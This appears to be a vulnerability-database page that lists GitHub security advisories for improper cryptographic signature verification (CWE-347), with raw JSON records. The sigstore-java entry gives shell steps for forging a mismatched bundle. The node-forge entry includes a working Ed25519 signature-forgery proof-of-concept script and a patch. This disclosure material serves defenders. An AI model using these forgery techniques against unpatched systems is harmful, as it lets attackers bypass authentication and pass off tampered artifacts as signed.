Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1120 vulnerabilities reference this CWE, most recent first.

GHSA-PXVH-PHH5-PGF4

Vulnerability from github – Published: 2022-05-17 00:16 – Updated: 2022-05-17 00:16
VLAI
Details

Huawei APP HiWallet earlier than 5.0.3.100 versions do not support signature verification for APK file. An attacker could exploit this vulnerability to hijack the APK and upload modified APK file. Successful exploit could lead to the APP is hijacking.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-8177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-22T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Huawei APP HiWallet earlier than 5.0.3.100 versions do not support signature verification for APK file. An attacker could exploit this vulnerability to hijack the APK and upload modified APK file. Successful exploit could lead to the APP is hijacking.",
  "id": "GHSA-pxvh-phh5-pgf4",
  "modified": "2022-05-17T00:16:40Z",
  "published": "2022-05-17T00:16:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8177"
    },
    {
      "type": "WEB",
      "url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20170816-01-app-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q3F4-9H4P-VGR3

Vulnerability from github – Published: 2022-09-25 00:00 – Updated: 2022-09-29 10:09
VLAI
Summary
secp256k1-js implements ECDSA without required r and s validation, leading to signature forgery
Details

The secp256k1-js package before 1.1.0 for Node.js implements ECDSA without required r and s validation, leading to signature forgery.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@lionello/secp256k1-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-27T22:34:59Z",
    "nvd_published_at": "2022-09-24T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "The secp256k1-js package before 1.1.0 for Node.js implements ECDSA without required r and s validation, leading to signature forgery.",
  "id": "GHSA-q3f4-9h4p-vgr3",
  "modified": "2022-09-29T10:09:03Z",
  "published": "2022-09-25T00:00:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lionello/secp256k1-js/issues/11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lionello/secp256k1-js/commit/302800f0370b42e360a33774bb808274ac729c2e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lionello/secp256k1-js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lionello/secp256k1-js/compare/1.0.1...1.1.0"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@lionello/secp256k1-js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "secp256k1-js implements ECDSA without required r and s validation, leading to signature forgery"
}

GHSA-Q3JM-V27Q-JFWW

Vulnerability from github – Published: 2024-05-30 13:41 – Updated: 2024-05-30 13:41
VLAI
Summary
titon/framework vulnerable to Remote Code Execution via Chosen-Ciphertext Attack
Details

titon/framework package (which is now abandoned and no longer maintained) is vulnerable to remote code execution via Chosen-Ciphertext Attack.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "titon/framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.1.0-alpha"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-30T13:41:36Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "titon/framework package (which is now abandoned and no longer maintained) is vulnerable to remote code execution via Chosen-Ciphertext Attack.",
  "id": "GHSA-q3jm-v27q-jfww",
  "modified": "2024-05-30T13:41:36Z",
  "published": "2024-05-30T13:41:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/titon/framework/issues/93"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/titon/framework/2017-11-20.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/titon/framework"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "titon/framework vulnerable to Remote Code Execution via Chosen-Ciphertext Attack"
}

GHSA-Q3R7-W45X-PHVH

Vulnerability from github – Published: 2022-08-18 00:00 – Updated: 2022-08-20 00:00
VLAI
Details

The Zoom Client for Meetings for MacOS (Standard and for IT Admin) before version 5.11.3 contains a vulnerability in the package signature validation during the update process. A local low-privileged user could exploit this vulnerability to escalate their privileges to root.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-28751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-17T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Zoom Client for Meetings for MacOS (Standard and for IT Admin) before version 5.11.3 contains a vulnerability in the package signature validation during the update process. A local low-privileged user could exploit this vulnerability to escalate their privileges to root.",
  "id": "GHSA-q3r7-w45x-phvh",
  "modified": "2022-08-20T00:00:58Z",
  "published": "2022-08-18T00:00:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28751"
    },
    {
      "type": "WEB",
      "url": "https://explore.zoom.us/en/trust/security/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q4XM-6FJC-5F6W

Vulnerability from github – Published: 2024-11-26 16:38 – Updated: 2024-12-09 17:00
VLAI
Summary
sigstore-java has vulnerability with bundle verification
Details

Summary

sigstore-java has insufficient verification for a situation where a validly-signed but "mismatched" bundle is presented as proof of inclusion into a transparency log

Impact

This bug impacts clients using any variation of KeylessVerifier.verify()

The verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby "verifying" a bundle without any proof the signing event was logged.

This allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors.

The signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.

sigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.

Steps To Reproduce

Build the java sigstore-cli at v1.0.0

git clone --branch v1.0.0 git@github.com:sigstore/sigstore-java
cd sigstore-java
./gradlew :sigstore-cli:build
tar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1

Create two random blobs

dd bs=1 count=50 </dev/urandom > blob1
dd bs=1 count=50 </dev/urandom > blob2

Sign each blob using the cli

./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1
./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2

Create a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle

jq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json

Find the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.

cat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value'

sha256sum blob1 blob2

Verify the bundle against blob1

./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1
# no errors???!

Patches

Patched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856 Added conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166

Workarounds

  1. Verifiers can recreate the log entry and compare it to the provided log entry.
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8);
var rekorEntry = bundle.getEntries().get(0);
var calculatedHashedRekord =
    Base64.toBase64String(
        HashedRekordRequest.newHashedRekordRequest(
                artifactDigest,
                Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())),
                bundle.getMessageSignature().get().getSignature())
            .toJsonPayload()
            .getBytes(StandardCharsets.UTF_8));
if (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {
  throw new Exception("Provided verification materials are inconsistent with log entry");
}
  1. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF);
var artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();
var sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();
var trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);
var entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());
RekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "dev.sigstore:sigstore-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-53267"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-26T16:38:18Z",
    "nvd_published_at": "2024-11-26T19:15:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nsigstore-java has insufficient verification for a situation where a validly-signed but \"mismatched\" bundle is presented as proof of inclusion into a transparency log\n\n### Impact\n\nThis bug impacts clients using any variation of KeylessVerifier.verify()\n\nThe verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby \"verifying\" a bundle without any proof the signing event was logged.\n\nThis allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor\u0027s log monitors.\n\nThe signer\u0027s identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.\n\nsigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.\n\n### Steps To Reproduce\n\nBuild the java sigstore-cli at v1.0.0\n```shell\ngit clone --branch v1.0.0 git@github.com:sigstore/sigstore-java\ncd sigstore-java\n./gradlew :sigstore-cli:build\ntar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1\n```\n\nCreate two random blobs\n```shell\ndd bs=1 count=50 \u003c/dev/urandom \u003e blob1\ndd bs=1 count=50 \u003c/dev/urandom \u003e blob2\n```\n\nSign each blob using the cli\n```shell\n./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1\n./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2\n```\n\nCreate a falsified bundle including the base64Signature and cert fields from blob1\u0027s bundle and the rekorBundle from blob2\u0027s bundle\n```shell\njq --slurpfile bundle2 blob2.sigstore.json \u0027.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries\u0027 blob1.sigstore.json \u003e invalidBundle.sigstore.json\n```\n\nFind the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.\n```shell\ncat invalidBundle.sigstore.json | jq -r \u0027.verificationMaterial.tlogEntries[0].canonicalizedBody\u0027 | base64 -d | jq -r \u0027.spec.data.hash.value\u0027\n\nsha256sum blob1 blob2\n```\n\nVerify the bundle against blob1\n```shell\n./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1\n# no errors???!\n```\n\n### Patches\nPatched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856\nAdded conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166\n\n### Workarounds\n1. Verifiers can recreate the log entry and compare it to the provided log entry.\n```\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8);\nvar rekorEntry = bundle.getEntries().get(0);\nvar calculatedHashedRekord =\n    Base64.toBase64String(\n        HashedRekordRequest.newHashedRekordRequest(\n                artifactDigest,\n                Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())),\n                bundle.getMessageSignature().get().getSignature())\n            .toJsonPayload()\n            .getBytes(StandardCharsets.UTF_8));\nif (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {\n  throw new Exception(\"Provided verification materials are inconsistent with log entry\");\n}\n```\n2. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log\n```java\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF);\nvar artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();\nvar sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();\nvar trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);\nvar entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());\nRekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);\n```\n",
  "id": "GHSA-q4xm-6fjc-5f6w",
  "modified": "2024-12-09T17:00:45Z",
  "published": "2024-11-26T16:38:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/sigstore-java/security/advisories/GHSA-q4xm-6fjc-5f6w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53267"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/sigstore-conformance/pull/166"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/sigstore-java/pull/856"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/sigstore-java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "sigstore-java has vulnerability with bundle verification"
}

GHSA-Q547-GMF8-8JR7

Vulnerability from github – Published: 2021-05-24 16:57 – Updated: 2023-08-29 23:34
VLAI
Summary
github.com/russellhaering/goxmldsig vulnerable to Signature Validation Bypass
Details

Impact

With a carefully crafted XML file, an attacker can completely bypass signature validation and pass off an altered file as a signed one.

Patches

A patch is available, all users of goxmldsig should upgrade to v1.1.0.

For more information

If you have any questions or comments about this advisory open an issue at https://github.com/russellhaering/goxmldsig

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/russellhaering/goxmldsig"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-24T12:54:31Z",
    "nvd_published_at": "2020-09-29T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nWith a carefully crafted XML file, an attacker can completely bypass signature validation and pass off an altered file as a signed one. \n\n### Patches\nA patch is available, all users of goxmldsig should upgrade to v1.1.0.\n\n### For more information\nIf you have any questions or comments about this advisory open an issue at https://github.com/russellhaering/goxmldsig",
  "id": "GHSA-q547-gmf8-8jr7",
  "modified": "2023-08-29T23:34:28Z",
  "published": "2021-05-24T16:57:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15216"
    },
    {
      "type": "WEB",
      "url": "https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GUH33FPUXED3FHYL25BJOQPRKFGPOMS2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZECBFD4M4PHBMBOCMSQ537NOU37QOVWP"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/github.com/russellhaering/goxmldsig?tab=overview"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2020-0050"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "github.com/russellhaering/goxmldsig vulnerable to Signature Validation Bypass"
}

GHSA-Q67F-28XG-22RW

Vulnerability from github – Published: 2026-03-26 22:04 – Updated: 2026-03-27 21:51
VLAI
Summary
Forge has signature forgery in Ed25519 due to missing S > L check
Details

Summary

Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.

Configuration assumptions: - Default forge Ed25519 verify API path (ed25519.verify(...)).

Root Cause

In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:

scalarbase(q, sm.subarray(32));

There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.

Reproduction Steps

  • Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
  • Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder.
  • The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify).
  • Confirm output includes:
{
    "forge": {
        "original_valid": true,
        "tweaked_valid": true
    },
    "crypto": {
        "original_valid": true,
        "tweaked_valid": false
    }
}

Proof of Concept

Overview: - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit:

{
    "forge": {
        "original_valid": true,
        "tweaked_valid": true
    },
    "crypto": {
        "original_valid": true,
        "tweaked_valid": false
    }
}
poc.js
#!/usr/bin/env node
'use strict';

const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
    throw new Error('signature must be a 64-byte Buffer');
  }
  const out = Buffer.from(signature);
  let carry = 0;
  for (let i = 0; i < 32; i++) {
    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
    out[idx] = sum & 0xff;
    carry = sum >> 8;
  }
  return { sig: out, carry };
}

function toSpkiPem(publicKeyBytes) {
  if (publicKeyBytes.length !== 32) {
    throw new Error('publicKeyBytes must be 32 bytes');
  }
  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}

function verifyWithCrypto(publicKey, message, signature) {
  try {
    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
    const ok = crypto.verify(null, message, keyObject, signature);
    return { ok };
  } catch (error) {
    return { ok: false, error: error.message };
  }
}

function toResult(label, original, tweaked) {
  return {
    [label]: {
      original_valid: original.ok,
      tweaked_valid: tweaked.ok,
    },
  };
}

function main() {
  const kp = ed.generateKeyPair();
  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
  const tweaked = addLToS(sig);
  const okTweaked = ed.verify({
    message: MESSAGE,
    signature: tweaked.sig,
    publicKey: kp.publicKey,
  });
  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
  const result = {
    ...toResult('forge', { ok }, { ok: okTweaked }),
    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
  };
  console.log(JSON.stringify(result, null, 2));
}

main();

Suggested Patch

Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).

Here is a patch we tested on our end to resolve the issue, though please verify it on your end:

index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
     return -1;
   }

+  if(!_isCanonicalSignatureScalar(sm, 32)) {
+    return -1;
+  }
+
   for(i = 0; i < n; ++i) {
     m[i] = sm[i];
   }
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
   return mlen;
 }

+function _isCanonicalSignatureScalar(bytes, offset) {
+  var i;
+  // Compare little-endian scalar S against group order L and require S < L.
+  for(i = 31; i >= 0; --i) {
+    if(bytes[offset + i] < L[i]) {
+      return true;
+    }
+    if(bytes[offset + i] > L[i]) {
+      return false;
+    }
+  }
+  // S == L is non-canonical.
+  return false;
+}
+
 function modL(r, x) {
   var carry, i, j, k;
   for(i = 63; i >= 32; --i) {

Resources

  • RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
  • Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:04:41Z",
    "nvd_published_at": "2026-03-27T21:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature\u0027s last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S \u003c L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n    \"forge\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": true\n    },\n    \"crypto\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": false\n    }\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003epoc.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst path = require(\u0027path\u0027);\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge\u0027);\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from(\u0027dderpym is the coolest man alive!\u0027);\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n  if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n    throw new Error(\u0027signature must be a 64-byte Buffer\u0027);\n  }\n  const out = Buffer.from(signature);\n  let carry = 0;\n  for (let i = 0; i \u003c 32; i++) {\n    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n    const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n    out[idx] = sum \u0026 0xff;\n    carry = sum \u003e\u003e 8;\n  }\n  return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n  if (publicKeyBytes.length !== 32) {\n    throw new Error(\u0027publicKeyBytes must be 32 bytes\u0027);\n  }\n  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n  const b64 = spki.toString(\u0027base64\u0027).match(/.{1,64}/g).join(\u0027\\n\u0027);\n  return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC 